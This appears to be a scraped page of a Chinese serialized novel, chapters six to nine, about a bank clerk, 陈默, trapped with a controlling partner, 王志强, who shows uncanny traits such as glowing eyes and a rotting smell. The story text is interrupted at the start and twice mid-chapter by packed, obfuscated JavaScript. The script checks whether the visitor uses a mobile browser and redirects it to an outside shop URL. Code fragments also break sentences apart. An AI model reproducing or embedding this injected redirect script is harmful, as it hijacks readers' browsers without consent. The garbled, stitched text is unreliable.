l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17387618|200269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上一躺。 床垫陷下去一块,陈默的身体跟着歪了一下。 他躺在那儿,背对着她,什么话都没说。 陈默侧过身,看着他的后背。 他穿着那件衬衫,没换。背上有点皱,光线暗,看不清有没有汗渍。 她张了张嘴。 “王志强。” 他没回头。 “嗯?” “我……” 他翻了个身,面对着她。 黑暗里,他的眼睛亮了一下。 就一下。 她看见了。 “对了,明天有个哥们来,你和我一起去见一面。” 陈默愣了一下。 “明天?” “嗯,中午。他正好来这边办事,一起吃个饭。你打扮一下,别给我丢人。” 陈默张了张嘴。 明天。 明天早上九点,外拓。 全员参加,不得请假。 周行长那张脸。工作群里那行字。商场门口站六个小时。发传单,拉人办信用卡。 “我……” “怎么?”王志强看着她,“你有事?” 陈默看着他。 黑暗里,他的眼睛在反光。 不是正常的那种反光,是像猫、像狗、像什么夜里会发光的动物那种反光。 她见过这种光。 第一次是她数完三十秒开门的那天晚上。他站在门外,整个人在黑暗里,只有两只眼睛亮着。 后来再没见过。 现在又出现了。 他盯着她。 那两只发光的眼睛,就那么盯着她。 在等她的回答。 “我……”她说,“没事。” 王志强盯着她,看了两秒。 那两只眼睛还亮着。 “那就行。明天十一点出门,你早点准备。” 他翻过身,背对着她。 那两只眼睛的光消失了。 陈默躺着,盯着他的后背。 他背对着她,呼吸均匀,像什么都没发生过。 但那两只眼睛亮过。 她看见了。 不是幻觉。 是真的。 她慢慢从枕头底下摸出手机,打开微信,找到周行长的对话框。 屏幕的光刺得她眼睛疼。她眯着眼,开始打字。 “周行长,明天家里有急事,外拓请假。” 打完,盯着看。 家里有急事。什么急事?王志强的哥们来了,要去见一面,这叫急事? 她删掉。 “周行长,明天身体不舒服,去不了外拓。” 身体不舒服。怎么不舒服?说不出来。明天要是被看见在外面吃饭呢?周行长住得不远,万一碰见呢? 她删掉。 “周行长,明天——” 打不下去了。 她盯着屏幕,盯了很久。 王志强在旁边呼吸,一起一伏。那两只眼睛现在闭着,但她知道它们刚才睁着。盯着她。等她回答。 她闭上眼睛。 脑子里两个声音在打架。 一个说:你不能请假。周行长说了,不得请假。你请了,她怎么看你?你业绩本来就差,再请假,以后还怎么混? 另一个说:你必须去。王志强让你去。他要带你见朋友,这是好事。也许他想定下来了?也许他准备带你见父母了?你不能不去。 一个说:他算什么?他骂你,嫌你,说他外面有人想跟他。你还要去? 另一个说:你只有他了。 一个说:你没了他能死吗? 另一个说:不能死,但能活成什么样? 她不知道。 她真的不知道。 她睁开眼,又看手机。 屏幕还亮着,那行字还在那儿:“周行长,明天——” 她深吸一口气,把后面打全了。 “周行长,明天家里有急事,外拓请假。实在对不起。” 发送。 屏幕显示发送成功的那一刻,她盯着那行小字,盯了很久。 “发送成功”。 发了。 她把手机塞回枕头底下,闭上眼。 旁边王志强的呼吸还是那么均匀,一起一伏。他睡得很沉,什么都没听见。 她不知道他睡没睡着。 她也不知道自己明天会怎样。 但她知道一件事—— 她发了那条微信。 为了抓住他。 为了不被甩。 为了三十岁的时候,还有地方可去。 她发了。 眼泪从眼角滑下来,流进耳朵里,痒痒的。 她没擦。 窗外路灯的光照进来,把天花板照成灰白色。 她盯着那片灰白,一直盯到天亮。 五 早上七点,手机震了。 陈默拿起来看。 周行长的回复: “知道了。下次提前说。” 七个字。 没有问什么急事,没有说准不准,没有发火,没有批评。 就七个字。 知道了。下次提前说。 陈默盯着那七个字,盯了很久。 然后她把手机放下,起床,走进卫生间,洗脸,刷牙,化妆。 镜子里的自己,眼袋确实重。她用遮瑕盖了盖,盖不住。又盖一层,还是盖不住。 下巴那几颗痘,红红的,用粉底盖了,还是能看出来。 胖了。 她说不上来胖在哪,但就是胖了。脸圆了一点,腰粗了一点,整个人像被吹起来一点点。 老了。 她盯着镜子里的那个人。 那个人也盯着她。 她突然想起昨晚,王志强说她老了的时候,眼睛里那种光——不是发光,是别的东西。 是满意。 是那种“你越老越跑不掉”的满意。 她浑身发冷。 化完妆,换好衣服,她走出卫生间。 王志强已经起来了,坐在沙发上,拿着手机。 他抬头看她,上下打量了一眼。 “行,还行。” 还行。 不是“漂亮”,不是“好看”,是“还行”。 陈默点点头。 “什么时候出门?” “十一点。你先收拾着,我出去一趟,十一点回来接你。” 他站起来,往外走。 走到门口,他回头看了她一眼。 “打扮精神点,别给我丢人。” 门关上了。 陈默站在客厅里,看着那扇门。 门关着,他走了。 她站在那儿,不知道自己在想什么。 然后她走进卧室,坐在床上,等十一点。 窗外阳光很好。 周六的早上,外面有人在遛狗,有人在跑步,有小孩在笑。 她坐在床上,听着那些声音,一动不动。 手机放在旁边,屏幕黑着。 周行长的回复她看了很多遍。 知道了。下次提前说。 下次。 还有下次吗? 她不知道。 她只知道现在,她要等十一点,等王志强回来,等去见他的哥们,等打扮精神点,等别给他丢人。 她等着。 一直等着。 窗外阳光越来越亮。 她坐在那片阳光里,一动不动。 --- 第六章完 7. 第七章 我肯定对你好 第七章我肯定对你好 一 陈默收拾好的时候,正好十点五十。 她站在镜子前,把自己从头到脚检查了一遍。 衣服是前天刚买的——一件淡蓝色的连衣裙,领口有点低,但她配了一条丝巾,正好挡住。裙子是收腰的,把她这两年长的那点肉都藏起来了。她转了个身,看后面,裙摆刚好到膝盖,露出一截小腿。 鞋是去年买的,白色的,只穿过两次,还很新。 头发她盘起来了,露出脖子,显得精神。妆比平时浓了一点——遮瑕盖了三层,终于把眼袋盖住大半;粉底厚了一点,痘印看不太出来了;口红选了豆沙色,不艳不俗,正好。 她又看了一眼镜子。 还行。 王志强说的“还行”。 她拿起包,走到客厅,坐下,等。 十点五十三。 手机放在茶几上,屏幕黑着。她盯着那团黑,不知道自己在想什么。 窗外的阳光很亮,照进来一块,落在地板上。那块光在慢慢移动,从地板移到茶几脚,又从茶几脚移到沙发腿。 她看着那块光移动,看它一寸一寸往前走。 十点五十七。 手机响了。 王志强的名字在屏幕上亮着。 她接起来。 “下来。” 挂了。 陈默站起来,最后看了一眼客厅——沙发垫上的印子还在,但已经很浅了,不注意看根本看不出来。茶几上她擦过了,没有灰。地板她也拖过了,很干净。 她不知道自己在看什么。 也许是想记住这个家今天的样子。 也许是想确认自己没什么可挑剔的。 她关上门,下楼。 电梯里只有她一个人。电梯壁是镜面的,照出她的全身。她看了一眼,又移开目光。 楼下停着一辆黑色奔驰,王志强的车。 她走过去,拉开副驾驶的门,坐进去。 二 车里空调开得很足,冷气扑面而来,陈默胳膊上起了一层鸡皮疙瘩。 王志强没看她,盯着前方,一只手搭在方向盘上,一只手拿着手机在看。 “系安全带。” 陈默系上安全带。 车开动了。 她坐得很直,双手放在膝盖上,眼睛看着前方。车窗外的街景往后掠,阳光照进来,落在她手上,热热的。 王志强没说话。 他开着车,偶尔看一眼手机,偶尔看一眼后视镜,就是没看她。 陈默觉得有点闷。 不是车里的闷——空调开着,不闷。是那种两个人坐在一起,谁都不说话的闷。那种闷从胸口往上涌,堵在喉咙那儿,让人想干点什么把它冲开。 她张了张嘴。 “今天天气挺好的。” 王志强没反应。 她等了两秒,又说:“太阳这么大,应该挺热的。” 王志强“嗯”了一声。 就一声。 陈默攥了攥手指。 她又说:“你那个朋友,叫什么来着?我见过吗?” “没见过。” “他是做什么的?” “做工程的。” “你们认识多久了?” “十几年了。” 陈默点点头。 对话又断了。 她看着窗外,想再找个话题。路边的店铺一家一家往后闪,便利店、水果店、理发店、房产中介。她盯着那些店名,脑子里拼命想——还能聊什么?还能说什么? “他结婚了吗?” “结了。” “有孩子吗?” “有。” “男孩女孩?” 王志强皱了一下眉头。 那一下皱得很轻,但陈默看见了。 “女孩。”他说。 陈默点点头。 “挺好的,女孩好。” 王志强没说话。 她又说:“几岁了?” “不知道。” 陈默愣了一下。 “你朋友的孩子,你不知道几岁?” 王志强没回答。 他看着前方,脸上没什么表情。但那表情让陈默觉得,她不应该再问了。 她闭上嘴,看着窗外。 车里又安静下来。 空调嗡嗡响着,轮胎压过路面的声音闷闷的,偶尔有别的车从旁边超过去,带起一阵风。 陈默坐得更直了。 她不知道自己在紧张什么。就是觉得,不说话不行,不说话会更尴尬。但说话又说不到点子上,说什么他都不爱听。 她试着换个方向。 “我今天这件衣服,新买的,你觉得怎么样?” 王志强瞥了她一眼。 “还行。” 还行。 和她想的一样。 “我之前那条裙子,你说太素了,我就买了这条,带点颜色的。”她扯了扯裙摆,“你觉得这颜色行吗?” “行。” “会不会太正式了?就吃个饭,穿这个会不会奇怪?” “不会。” 陈默点点头。 又没话了。 她盯着前方,看到前面路口红灯,车慢慢停下来。 阳光照进来,落在她膝盖上,热热的。她低头看着那片光,突然想起一件事。 “对了,上次你说你们公司要开户,周行长又问了一次。你看什么时候方便,去行里办一下?” 王志强扭头看她。 那一眼有点长。 陈默被看得有点不自在。 “怎么了?” “你就不能说点别的?”他说。 陈默愣了一下。 “什么?” “开户开户开户,”他语气里带着点不耐烦,“好不容易周末出来一趟,你就跟我说这个?” 陈默张了张嘴。 “我……我就是想起来——” “想起来?”他打断她,“你天天就想这些?上班想,下班想,周末出来吃饭还想?” 红灯变绿,后面的车按喇叭。 王志强踩下油门,车冲出去。 陈默攥紧手指,没再说话。 她看着窗外,阳光很亮,刺得眼睛疼。她把目光收回来,盯着前面的仪表盘。 仪表盘上有几个灯亮着,她看不懂是什么。 她盯着那些灯,盯了很久。 三 车开了一会儿,王志强的手机响了。 他看了一眼屏幕,接起来,按了免提。 “喂,老张!” 那边传过来一个男人的声音,嗓门很大,带着点口音:“志强!到哪儿了?” “路上,还有二十分钟。你呢?” “我到了,订好包厢了,就等你俩了!” “行,一会儿见。” “诶,带嫂子来啊?我还没见过嫂子呢!” 王志强笑了一声,那笑声和跟陈默说话的时候完全不一样——轻松,随意,带着点得意。 “带了,车上呢。” “哟,那得好好看看!嫂子哪儿人啊?” “本地的。” “本地的好啊!我跟你说,我就想找个本地的,知根知底——” “你他妈有老婆了还想着找本地的?”王志强笑着骂了一句。 那边也笑:“想想不行啊?我跟你说,男人嘛,看看又不犯法——哎嫂子别介意啊,开玩笑的!” 陈默勉强笑了一下,不知道说什么。 那边又说:“嫂子做什么工作的?” “银行的。”王志强说。 “银行的?!那可牛逼了!我跟你说,我最佩服银行的人,那数学得好吧?我一看数字就头疼——” “你他妈看什么数字不头疼?”王志强又骂了一句。 那边哈哈大笑。 两人就这么聊着,你一句我一句,全是脏话,全是吹牛。 “上个月那个工程,我跟你讲,差点没把我累死。那帮工人,真他妈难管,天天要加钱,不加就罢工——” “你那工地不行,我跟你说,你得找靠谱的人。我这边那几个,跟了我七八年了,一个屁都不放。” “你命好呗!我这儿换了好几拨了,没一个省心的。” “你那工地什么破地方?鸟不拉屎的,能招到人就烧高香了。” “可不嘛!我跟你说,下次再有工程,你给我介绍几个靠谱的——” “行啊,中介费先打过来。” “你他妈掉钱眼里了?” 两人又笑。 陈默坐在副驾驶,听着他们聊天,一句话都插不进去。 她看着王志强。 他脸上带着笑,是那种放松的、得意的笑。说话的时候手会动,比划来比划去,嗓门也比刚才大了不少。偶尔骂一句脏话,骂完还笑,笑得眼睛都眯起来。 和刚才跟她说话的时候,完全是两个人。 陈默盯着他的侧脸,突然想起另一张脸。 是她妈妈的脸。 是她妈妈坐在家里沙发上,脸色铁青,一言不发的样子。 那是快两年前的事了。 四 那是他们刚在一起一年多的时候。 王志强说要上门见见她父母。陈默犹豫了很久,不知道该不该答应。她知道王志强什么样——说话糙,爱吹牛,一身江湖气。她爸妈都是老实本分的人,在厂里干了一辈子,退休了就在家带带孙子,哪见过这种“社会人”? 但她又想,也许见了面就好了。也许爸妈看到他本人,会发现他其实挺靠谱的——有车有房,有公司,能挣钱。也许他们会觉得,虽然糙了点,但对女儿好就行。 她跟王志强说了好几次,让他见父母的时候注意点,少说话,别说脏话,别吹牛,别抽烟。 王志强每次都答应。 “知道知道,你放心,我有数。” 她信了。 那天是周六,陈默提前回家帮忙做饭。她妈在厨房忙了一上午,炖了排骨,烧了鱼,炒了好几个菜。她爸把家里收拾得干干净净,还特意泡了一壶好茶。 十一点多,王志强来了。 拎了两瓶酒,一条烟,一盒茶叶,往茶几上一放,嗓门挺大:“叔叔阿姨好!” 陈默她妈笑着招呼:“来了来了,快坐快坐。” 王志强坐下,翘起二郎腿,开始聊天。 一开始还行。问做什么工作的,他说做工程的;问家里几口人,他说就自己,父母在老家;问以后有什么打算,他说好好干,多挣点钱。 陈默在旁边听着,松了口气。 但没过多久,就不对了。 她爸问:“做工程,辛苦吧?” 王志强说:“辛苦是辛苦,但挣钱啊。我跟您说,这个年头,干什么不辛苦?上班不辛苦?坐办公室也辛苦。关键看挣多少。” 她爸点点头。 王志强继续说:“我那个项目,去年接了个大单,利润这个数——”他比了个手势,“一年顶上班十年。” 陈默她妈看了陈默一眼。 陈默低下头。 王志强还在说:“现在这社会,就得闯。您说您二老在厂里干一辈子,挣多少?够买套房吗?我们这一代人,不闯不行。” 陈默她爸脸色有点变了。 陈默赶紧岔开话题:“爸,你那个茶叶,泡了吗?让王志强尝尝。” 她爸站起来去泡茶。 王志强没察觉,还在说:“我这个人吧,就实在,有什么说什么。我不像那些年轻人,装模作样的,没意思。” 茶端上来,王志强喝了一口。 “这茶不错,多少钱一斤?” 她爸说:“朋友送的,不知道多少钱。” 王志强说:“送的一般都不行,下次我给您带点好的。我认识一个茶商,专门做这个的,他那儿的茶,那才叫茶。” 陈默攥紧手指。 她妈站起来:“我去看看汤好了没有。” 厨房里传来炒菜的声音,盖住了客厅的动静。 陈默看着王志强,想给他使眼色。 但他没看她。 他在跟她爸说话,越说越起劲。 “叔叔,我跟您说,陈默跟我,您放心。我这个人,别的没有,就是实在。我对她是真心的,以后肯定对她好。” 她爸点点头,没说话。 王志强又说:“我知道您二老可能对我不太了解,觉得我年纪大了点。但年纪大有年纪大的好处,成熟,稳重,知道疼人。那些小年轻,懂什么?” 陈默她爸端起茶杯,喝了一口。 吃饭的时候,更糟了。 王志强喝酒。陈默她爸不喝,他就自己倒了一杯,一边吃一边喝,一边喝一边说。 “阿姨,这排骨炖得真好,比我妈炖的都好。” 陈默她妈笑笑:“好吃就多吃点。” “我跟您说,我妈做饭不行,就会炖个鸡汤。我小时候天天喝鸡汤,喝得我现在看见鸡就烦。” 他夹了一大块排骨,啃得满嘴是油。 “叔叔,您这鱼烧得好,有饭店的水平。您以前学过厨师?” 陈默她爸说:“没有,就自己瞎做。” “那您有天分。我跟您说,现在饭店里的菜,都不如家里做的好吃。那些厨师,就知道放味精,吃完口渴半天。” 他又喝了一口酒。 “对了,陈默说她有个弟弟?在哪儿上班?” 陈默她妈说:“在深圳,做IT的。” “IT好啊,挣钱。不过深圳那地方,房价太高了吧?他买房了吗?” “还没,刚去两年。” “那得抓紧买,房价一年一个价。我跟您说,现在不买,以后更买不起。我那个朋友,前年在深圳买了一套,两百万,今年涨到三百万了。一年涨一百万,干什么能挣这么多?” 陈默她妈没说话。 王志强继续说:“他要是有需要,跟我说。我认识几个做贷款的,利息低,手续快。买房嘛,就得靠贷款,全款谁买得起?” 陈默忍不住了。 “王志强,你少喝点。” 王志强看她一眼。 “没事,这点酒算什么?我平时在外面喝得比这多多了。” 他又倒了一杯。 吃完饭,陈默去厨房洗碗。 她妈跟进来,压低声音说:“这人怎么回事?” 陈默没说话。 “说话那个样子,脏话连篇的,你听听他说的什么?” 陈默继续洗碗。 “还有他那个态度,跟你爸说话,像跟下属说话似的。你爸一辈子,什么时候被人这么说过?” 陈默攥紧手里的碗。 “陈默,妈跟你说,这个人不行。你趁早分了。” 陈默把碗放进碗架,擦干手,走出厨房。 客厅里,王志强躺在沙发侧面的躺椅上,翘着二郎腿,在看电视。她爸坐在旁边,一言不发。 陈默走过去,站在王志强面前。 “走吧。” 王志强看她一眼。 “走什么?再坐会儿。” “走吧。” 她语气很硬。 王志强看了她两秒,站起来。 “行,走。” 他跟她爸打了个招呼:“叔叔,我先走了,改天再来看您。” 她爸点点头,没说话。 王志强走到门口,回头看了陈默一眼。 “你送送我?” 陈默跟他出去。 走到楼下,王志强站住了。 “怎么样,你看我老丈人丈母娘多喜欢我。” 陈默没说话。 “你脸色怎么这么不好?你爸妈都喜欢我,你又在这摆什么脸子。” 陈默还是没说话。 王志强盯着她,看了几秒。 “行,我走了。” 他上了车,走了。 陈默站在楼下,看着那辆车消失在拐角。 她站了很久。 然后她上楼,推开门。 她妈坐在沙发上,脸色铁青。 “陈默,你过来。” 她走过去,坐下。 “妈跟你说的,你听见没有?” 陈默低着头。 “这个人不行。你跟他分了。” 陈默没说话。 “你听见没有?” “听见了。” “那你什么时候分?” 陈默抬起头。 “妈,他……他对我挺好的。” 她妈愣了一下。 “对你好?他那叫对你好?他那个样子,那个态度,那叫对你好?” 陈默低下头。 “他……他就是说话那样,其实人挺好的。” 她妈盯着她,看了很久。 “陈默,你是不是傻?” 陈默没说话。 她妈站起来。 “我告诉你,你要是跟这个人在一起,以后有你哭的时候。” 她走进卧室,关上门。 陈默坐在沙发上,一动不动。 她爸在旁边坐着,一直没说话。 过了一会儿,她爸站起来,也进了卧室。 门关上了。 陈默一个人坐在客厅里,坐到天黑。 五 那天之后,她爸妈又说了很多次。 每次打电话都说,每次回家都说。 “分了没有?” “还没?” “你到底要拖到什么时候?” 陈默一开始还解释,说他其实挺好的,就是说话糙了点。 后来她不解释了。 就听着。 再后来,她不接电话了。 她妈发微信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像两年前,她坐在家里沙发上,看着王志强和她爸说话一样。 那时候她以为,只要她忍一忍,一切都会好起来。 现在呢? 她还在忍。 七 吃完饭,回去的路上,王志强又接了个电话。 是他妈打来的。 陈默听出来了——那边说话的口音,和王志强一样。 “妈,嗯,在外头吃饭呢。跟朋友。没事,你说。” 那边说了什么。 王志强听着,时不时“嗯”一声。 然后他说:“行,我知道了。过年再说吧。” 那边又说了什么。 王志强笑了一声。 “她啊?就那样呗。还行。” 陈默攥紧手指。 那边又说了几句。 王志强说:“行了行了,我知道了。挂了啊。” 挂了。 车里安静下来。 陈默看着窗外,没说话。 王志强也没说话。 过了一会儿,他开口了。 “我妈问,什么时候带你回去。” 陈默愣了一下。 “回去?” “嗯,回老家。” 陈默看着他。 他目视前方,脸上没什么表情。 “你怎么说的?” “说过年再说。” 陈默点点头。 “哦。” 又没话了。 车继续开着。 陈默看着窗外,脑子里乱糟糟的。 回老家。 见他父母。 她等这一天,等了三年。 但现在真的听到这句话,她突然不知道自己是什么感觉。 高兴?紧张?害怕? 好像都不是。 是一种说不出来的空。 就像等了很久的东西,终于要来了,但你已经不确定自己还想要不要了。 她转过头,看着王志强的侧脸。 阳光照在他脸上,把那层油光照得发亮。啤酒肚挺着,衬衫皱巴巴的,领口敞着,露出脖子下面那块红红的皮肤。 她看了很久。 然后她把目光收回去,继续看着窗外。 八 车停在家楼下的时候,已经快四点了。 王志强熄了火,靠在椅背上,没动。 陈默也没动。 两个人就那么坐着,谁都不说话。 过了一会儿,王志强开口了。 “陈默。” “嗯?” “你今天怎么了?” 陈默愣了一下。 “什么怎么了?” “一中午不说话,问你就说累了。累了累了,你累什么?” 陈默没说话。 王志强转过头看她。 “你是不是有什么意见?” 陈默摇摇头。 “没有。” “那你为什么那样?” “哪样?” “就那样。”他盯着她,“摆个脸,不说话,问什么都不说。你知不知道你这样很扫兴?” 陈默攥紧手指。 “我没摆脸。” “还没摆?你以为我看不出来?” 陈默张了张嘴,又闭上。 王志强盯着她,看了几秒。 然后他推开门,下去了。 陈默坐着没动。 她看着他的背影绕过车头,走进单元门,消失在电梯里。 她坐在车里,坐了很久。 太阳慢慢往下沉,阳光变成橘红色,照进来,落在她手上。 她低头看着自己的手。 手上有几道细纹,是这几年长的。 她盯着那些细纹,盯了很久。 然后她也推开门,下车,上楼。 九 电梯上行的时候,她想起一件事。 两年前,她搬来那天,也是这个电梯。 她拎着行李,站在电梯里,看着电梯壁上自己的影子。那时候她二十五,脸上没皱纹,下巴不长痘,眼睛里还有光。 她问自己:你会后悔吗? 她回答:不会。 现在她二十八,站在同一个电梯里,看着同一个自己。 眼睛下面有眼袋,下巴上有痘,脸上有细纹,眼睛里—— 没有光了。 电梯门开了。 她走出去。 门虚掩着,王志强没关。 她推开门,走进去。 客厅里没人。沙发上有个印子,是他刚躺过的。茶几上放着他的手机,屏幕亮着,不知道在看什么。 她换了鞋,走进卧室。 王志强躺在床上,已经闭上眼了。 她躺到他旁边,隔着一个人的距离,盯着天花板。 天花板还是那样,灰白色,有一点光从窗帘缝里漏进来,照出一小块亮。 她盯着那块亮。 盯了很久。 然后她听见王志强的声音。 “陈默。” 她转过头。 他还闭着眼。 “嗯?” “今天还行,没给我丢人。” 陈默没说话。 他翻了个身,背对着她。 “睡吧。” 陈默看着他的后背。 那件衬衫还是早上那件,背上有点皱,光线暗,看不清有没有汗渍。 她盯着那个后背,盯了很久。 然后她闭上眼。 脑子里反复响起一句话。 那句话是两年前,她坐在他车上,哭着问他的时候,他说的。 他说—— “我肯定对你好。” 她信了。 她现在还信。 因为她只能信。 因为不信的话,她这两年的坚持算什么? 因为她不信的话,她妈说的那些话就成真了。 她贱。 她把自己卖给一个老男人。 她活该。 她不能信那个。 她只能信他说的那句——我肯定对你好。 她只能信。 --- 第七章完 8. 第八章 你身上有味道了 第八章你身上有味道了 一 那天晚上,王志强又出去了。 陈默躺在床上,听见他在客厅里打电话。 “行,我马上到。嗯,老地方。” 然后是钥匙的声音,开门的声音,关门的声音。 脚步声在走廊里越来越远,然后消失了。 陈默睁开眼,盯着天花板。 九点四十。 周六的晚上,他出去了。 她没问去哪儿,没问和谁,没问几点回来。 三年了,她早就不问了。 问了他也不会说,说了也是假的,假的听了还不如不问。 她翻了个身,把脸埋进枕头里。 枕头上有股味道——不是她的,是他的。那种油油的、腻腻的味道,这几天越来越明显了。以前他身上什么都没有,现在有了,而且一天比一天重。 她不知道这是好事还是坏事。 有味道,说明他像个人了。 但那个味道不对。 不是汗味,不是烟味,不是酒味。 是别的。 像什么东西,放久了,开始从里面往外烂。 她把脸埋得更深,想躲开那个味道。 但躲不开。 到处都是。 二 陈默不知道自己什么时候睡着的。 再睁开眼的时候,天已经亮了。 周日早上,阳光从窗帘缝里漏进来,在地上切出一条亮线。 她躺在床上,盯着那条亮线,听客厅里的动静。 没有声音。 他还没回来。 她坐起来,下床,走出卧室。 客厅空的。茶几上放着他昨晚扔下的钥匙和打火机。沙发垫上有个印子,很浅,是昨天下午他躺过的。 她站在客厅中央,看着那个印子。 然后她闻到那个味道了。 不是从他身上发出来的,是从沙发上发出来的。从那块印子里发出来的。像有什么东西渗进去了,渗进沙发垫里,从里面往外散发。 她走过去,蹲下来,凑近闻了闻。 是那个味道。 油油的,腻腻的,带点甜,又带点酸。 像肉放坏了的那种甜酸。 她站起来,退后一步。 然后她走进卫生间,打开花洒,开始洗澡。 水很热,冲在身上有点疼。她站在水底下,闭着眼,一动不动。 洗了很久。 出来的时候,手机上有一条微信。 王志强发的: “晚上回去。” 她盯着那四个字,盯了很久。 晚上回去。 现在才早上八点。 他说的晚上,是几点?八点?十点?十二点?还是凌晨? 她不知道。 她把手机放下,擦干头发,换了身衣服,出门。 三 周日街上人很多。 陈默漫无目的地走着,不知道要去哪儿。 她走过便利店,走过水果店,走过房产中介,走过奶茶店。奶茶店门口排着长队,都是年轻女孩,说说笑笑的。 她站在旁边看了一会儿。 那些女孩都很年轻,二十出头,脸上满满的都是胶原蛋白。她们穿着短裙,露着腿,扎着马尾,笑得很大声。 陈默低头看了看自己。 淡蓝色连衣裙,白色鞋子,头发盘着,妆化着。 她站在那群女孩旁边,像两个世界的人。 她转身走了。 走了一会儿,她发现自己站在一个小区门口。 是妈妈住的那个小区。 她已经有半年没回来了。 上次回来,是过年的时候。她一个人回来的,王志强没来。妈妈开门看见她,脸上什么表情都没有,就侧身让她进来。 吃饭的时候,谁都没说话。 她爸想说什么,被她妈瞪了一眼,就不说了。 吃完饭她帮忙洗碗,她妈站在厨房门口,看着她。 “他还那样?” 陈默没说话。 “陈默,你还要这样到什么时候?” 陈默把碗放进碗架,擦干手,拿起包。 “妈,我先走了。” 她妈没拦她。 走出门的时候,她听见身后传来一声叹息。 就一声。 她没回头。 现在她站在小区门口,看着那扇熟悉的铁门。 铁门开着,里面有人在遛狗,有小孩在跑,有老人在下棋。 她站了很久。 然后她转身走了。 四 下午三点多,陈默回到家。 开门的时候,她愣了一下。 王志强回来了。 他躺在沙发上,拿着手机在看。电视开着,放什么综艺节目,罐头笑声一阵一阵的。 陈默站在门口,看着他。 他抬头看了她一眼。 “去哪儿了?” “随便走走。” 他“嗯”了一声,继续看手机。 陈默换鞋,放下包,走进卧室。 躺下。 盯着天花板。 外面电视的声音隐隐约约传进来,笑声,掌声,音乐声。 她躺在那儿,一动不动。 不知道过了多久,王志强进来了。 他走到床边,坐下。床垫陷下去一块,她的身体跟着歪了一下。 “陈默。” 她没动。 “陈默。” 她转过头看他。 他看着她,表情有点奇怪。 “怎么了?”她问。 他没说话,就看着她。 看了很久。 然后他说:“你身上有味道了。” 陈默愣了一下。 “什么?” “你身上,有味道了。” 她低头闻了闻自己。 刚洗过澡,换了干净衣服,什么味道都没有。 “什么味道?”她问。 王志强没回答。 他站起来,走出卧室。 陈默躺着,盯着天花板。 她身上有味道了? 什么味道? 她不知道。 但她想起一件事—— 他从来不洗澡。 他从来闻不到自己身上的味道。 但他现在能闻到她身上的味道了? 她坐起来,走出卧室。 王志强坐在沙发上,继续看电视。 她站在他面前。 “王志强。” 他抬头。 “我身上有什么味道?” 他看着她,没说话。 “你说清楚,什么味道?” 他笑了一下。 那笑容很短,就一下。 “没什么,可能我闻错了。” 他把目光移回电视上。 陈默站着,看着他。 电视里的笑声一阵一阵的,很吵。 她站了很久。 然后她转身走进卧室,关上门。 五 晚上八点多,陈默做了饭。 简单的两菜一汤,端上桌的时候,王志强已经坐在那儿了。 他夹了一筷子菜,放进嘴里,嚼了嚼。 “还行。” 陈默坐下,开始吃饭。 两个人都不说话。 只有筷子碰碗的声音,和电视里的声音。 吃到一半,王志强的手机响了。 他看了一眼,接起来。 “喂?” 那边说了什么。 “现在?” 那边又说了什么。 他看了陈默一眼。 “行,我一会儿过去。” 挂了。 陈默低着头,继续吃饭。 王志强放下手机,看着她。 “我出去一趟。” 陈默点点头。 “嗯。” 他站起来,拿起外套,往外走。 走到门口,他回头看了她一眼。 “碗放着,等我回来洗。” 门关上了。 陈默一个人坐在饭桌前,看着那两菜一汤。 菜还冒着热气,汤还烫着。 她夹了一筷子,放进嘴里。 什么味道都没有。 她嚼着,咽下去,又夹了一筷子。 还是什么味道都没有。 她放下筷子,靠在椅背上。 客厅里只有电视的声音,和一些窗外的车声。 她坐了很久。 然后她站起来,把碗收了,洗了,放好。 走进卧室,躺下。 盯着天花板。 六 凌晨两点多,陈默醒了。 她不知道自己怎么睡着的,也不知道睡了多久。 睁开眼的时候,卧室里一片漆黑。窗帘拉得严严实实,一点光都透不进来。 她躺着,听周围的动静。 很安静。 太安静了。 平时这个时候,总能听见一点声音——楼上的脚步声,隔壁的电视声,窗外的车声。 但现在什么都没有。 像整个世界都被按了静音键。 她慢慢坐起来,看向门口。 门关着。 但她记得,她睡觉的时候,门是开了一条缝的。 现在关上了。 她下床,光着脚走到门边,握住门把手。 门把手是凉的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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以前她没有。 三年了,她都没有。 现在有了。 “你知道这意味着什么吗?”他问。 陈默摇头。 他笑了。 那笑容和平时不一样——不是生气,不是嘲讽,是别的。 是一种……满意。 “意味着你熟了。” 熟了。 她突然想起那张纸条。 那张纸条不是来救她的。 是来告诉她,她已经熟了。 她站那儿,一动不动。 他低头看着她,那两只眼睛的光,把她整个人都照在里面。 “别怕,”他说,“还早。” 他转身走回沙发,坐下。 那两只眼睛的光暗下去,恢复正常。 陈默靠在墙上,大口喘气。 她低头看自己的手。 手在抖。 她攥紧拳头,想让它不抖。 但还是在抖。 七 那一夜,陈默没睡。 她靠在墙上,看着沙发上的那个背影,一直看到天亮。 天亮的时候,王志强站起来,走进卧室,躺下。 陈默站在客厅里,看着那扇关上的门。 站了很久。 然后她走进卫生间,打开花洒。 热水冲下来的时候,她站在水底下,一动不动。 她抬起手,闻了闻自己的胳膊。 什么味道都没有。 但他说有。 他说有人味了。 她不知道这是真的,还是他故意说的。 但她想起一件事—— 那张纸条上写的,是“真正的他,从不洗澡”。 没写她。 她一直都是洗澡的。 每天都洗。 但他说以前她没有味道,现在有了。 那以前她是什么味道? 她不知道。 她只知道,从今天开始,她再也不敢闭眼了。 --- 第八章完 9. 第九章 那你别要啊 第九章剥虾 一 周一下午四点五十,陈默正在办今天最后一笔业务。 一个老头来存钱,三千块,全是零钱,一毛五毛一块的,用塑料袋装着,往窗口一倒,哗啦啦铺了一片。陈默一张一张数,手指头都数酸了。 